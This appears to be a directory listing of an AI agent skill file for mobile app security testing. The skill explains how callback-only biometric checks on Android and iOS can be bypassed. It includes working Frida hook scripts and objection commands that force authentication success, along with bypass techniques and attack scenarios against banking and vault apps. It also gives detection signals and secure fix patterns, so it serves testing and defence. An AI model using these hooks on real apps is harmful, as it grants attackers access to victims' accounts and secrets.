Mobile auth bypass
Detects authentication and biometric bypass vulnerabilities in mobile apps (Android/iOS). Trigger on: BiometricPrompt, LocalAuthentication, LAContext, evaluatePolicy, CryptoObject, Android Keystore, Secure Enclave, kSecAccessControlBiometryCurrentSet, userAuthenticationValidityDurationSeconds, confirmCredentials, biometric fallback, PIN bypass, passive authentication, enrolled biometrics detection, Frida hook auth, jailbreak bypass, TouchID, FaceID, fingerprint. Covers MASVS-AUTH-1/2/3.From its SKILL.md
npx -y skills add ShulkwiSEC/bb-huge --skill mobile-auth-bypassAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its file declares
Copied from the file, not written here
The file declares its own license as MIT. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
7.7 KB, ~1.6k tokens by cl100k_base, as published. Nobody here has run it
Mobile Authentication Bypass
What Is Broken and Why
Mobile authentication is broken when the authentication check is event-driven (callback-only) rather than cryptographically bound to a Keystore/Secure Enclave key. An app that calls BiometricPrompt / LAContext.evaluatePolicy() and then checks a boolean success return can be bypassed by hooking the callback with Frida and forcing true. Truly secure biometric auth requires a CryptoObject (Android) or SecAccessControl with biometry binding (iOS) — without this, the biometric check has no cryptographic consequence and can be bypassed at the application layer.
Key Signals
BiometricPromptused without aCryptoObjectparameter (event-only, not key-bound)LAContext.evaluatePolicy(_:localizedReason:reply:)with no Keychain operation tied to authuserAuthenticationValidityDurationSeconds > 0with large values (minutes/hours)- No
kSecAccessControlBiometryCurrentSetflag — new enrollments silently unlock Keychain items setUserAuthenticationRequired(false)on a Keystore key intended for biometric-gated operations- Fallback path (device PIN) bypasses Keystore binding constraints
onAuthenticationSucceededcallback contains business logic without usingcryptoObject.cipher
Methodology
Android:
- Decompile APK — search for
BiometricPrompt,FingerprintManager,KeyguardManager - Check
BiometricPrompt.authenticate()call: does it pass aCryptoObject? - If no
CryptoObject→ callback-only auth → hookable with Frida - Check Keystore key spec:
setUserAuthenticationRequired(true)andsetInvalidatedByBiometricEnrollment(true) - Check
userAuthenticationValidityDurationSeconds: 0 = require auth on every use (correct); >0 = time-window (weaker) - Test fallback: trigger failed biometric → does PIN bypass the Keystore key requirement?
- Frida hook: override
onAuthenticationSucceededto fire without user touching sensor
iOS:
- Search IPA source for
LAContext,evaluatePolicy,kLAPolicyDeviceOwnerAuthenticationWithBiometrics - Check Keychain item:
SecAccessControlCreateWithFlagswith.biometryCurrentSetor.userPresence? - If auth is event-only (just checks LAContext result, no Keychain op) → bypass with Frida
- Verify
evaluatedPolicyDomainStateis checked on launch to detect enrollment changes - Frida: hook
LAContext.evaluatePolicyreply block, forceerror=nilto simulate success
Payloads & Tools
// Frida — Android: bypass BiometricPrompt (event-only auth)
Java.perform(function() {
var BiometricPrompt = Java.use("androidx.biometric.BiometricPrompt$AuthenticationCallback");
BiometricPrompt.onAuthenticationFailed.implementation = function() {
this.onAuthenticationSucceeded(Java.use(
"androidx.biometric.BiometricPrompt$AuthenticationResult").$new(null, 1));
};
});
// Frida — iOS: bypass LAContext evaluatePolicy
var LAContext = ObjC.classes.LAContext;
var evaluatePolicy = LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(evaluatePolicy.implementation, {
onEnter: function(args) {
var replyBlock = new ObjC.Block(args[4]);
replyBlock.implementation = function(success, error) {
replyBlock.implementation(1, null); // force success
};
}
});
# objection — Android: bypass biometric
android hooking watch class_method \
androidx.biometric.BiometricPrompt\$AuthenticationCallback.onAuthenticationSucceeded
# objection — iOS: bypass LAContext
ios jailbreak disable # in some versions triggers auth bypass
Bypass Techniques
- Frida callback hook — force
onAuthenticationSucceeded/ LAContext reply to return success without biometric - New enrollment attack — add attacker's fingerprint to device if screen is accessible; app without
kSecAccessControlBiometryCurrentSetdoesn't detect enrollment change - Fallback escalation — trigger lockout of biometrics to force PIN fallback, then bypass PIN check in app logic
- Time-window key abuse — if
userAuthenticationValidityDurationSecondsis set to hours, re-use the authenticated key window after the user walked away - Root/jailbreak + memory patch — on rooted devices, patch the auth result check directly in memory
Exploitation Scenarios
Scenario 1 — Frida Biometric Bypass (Android)
Setup: Banking app uses BiometricPrompt without CryptoObject; success triggers fund transfer unlock in callback. → Trigger: Frida hooks onAuthenticationSucceeded, fires it without biometric. → Impact: Full access to transfer functionality without the user's fingerprint.
Scenario 2 — New Enrollment Unlock (iOS)
Setup: Vault app stores secret in Keychain with .userPresence access control (no .biometryCurrentSet). → Trigger: Attacker adds their fingerprint to victim's unlocked device settings. → Impact: Attacker's Touch ID unlocks the Keychain secret.
Scenario 3 — Validity Duration Abuse (Android)
Setup: App sets userAuthenticationValidityDurationSeconds(300) (5 minutes). → Trigger: User authenticates once; attacker immediately uses the device. → Impact: Keystore key operations succeed for 5 minutes without additional auth.
False Positives
BiometricPromptwithCryptoObject— properly bound, not bypassable via callback hook- Keychain items with
kSecAccessControlBiometryCurrentSet— enrollment change invalidates access - Auth bypass succeeds in debug/test build but not in production (release build strips debug flags)
evaluatePolicyresult is only used for UX (greyed-out UI), not for actual secret release
Fix Patterns
// Android — key-bound biometric (correct)
val keyStore = KeyStore.getInstance("AndroidKeyStore")
val keyGen = KeyGenerator.getInstance(KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore")
keyGen.init(KeyGenParameterSpec.Builder("bioKey", KeyProperties.PURPOSE_ENCRYPT or KeyProperties.PURPOSE_DECRYPT)
.setUserAuthenticationRequired(true)
.setUserAuthenticationParameters(0, KeyProperties.AUTH_BIOMETRIC_STRONG) // 0 = per-use
.setInvalidatedByBiometricEnrollment(true)
.build())
// Pass CryptoObject to BiometricPrompt.authenticate()
// iOS — Keychain bound to biometry set (correct)
let access = SecAccessControlCreateWithFlags(nil,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
[.biometryCurrentSet], nil)!
// Any new enrollment invalidates this Keychain item
Related Skills
[[auth-bypass]] on the web covers the same conceptual space — client-supplied flags and callback-only checks — but in a mobile runtime context. [[mobile-weak-crypto]] enables auth bypass when biometric auth is event-only rather than key-bound: without a CryptoObject, there is no cryptographic consequence to the biometric check. [[mobile-resilience]] controls like root/jailbreak detection are a prerequisite defense — Frida-based auth bypass requires an attached debugger or instrumentation framework that resilience controls are designed to detect.
What ships with it
Read from the repository
Just SKILL.md. No reference files, no scripts.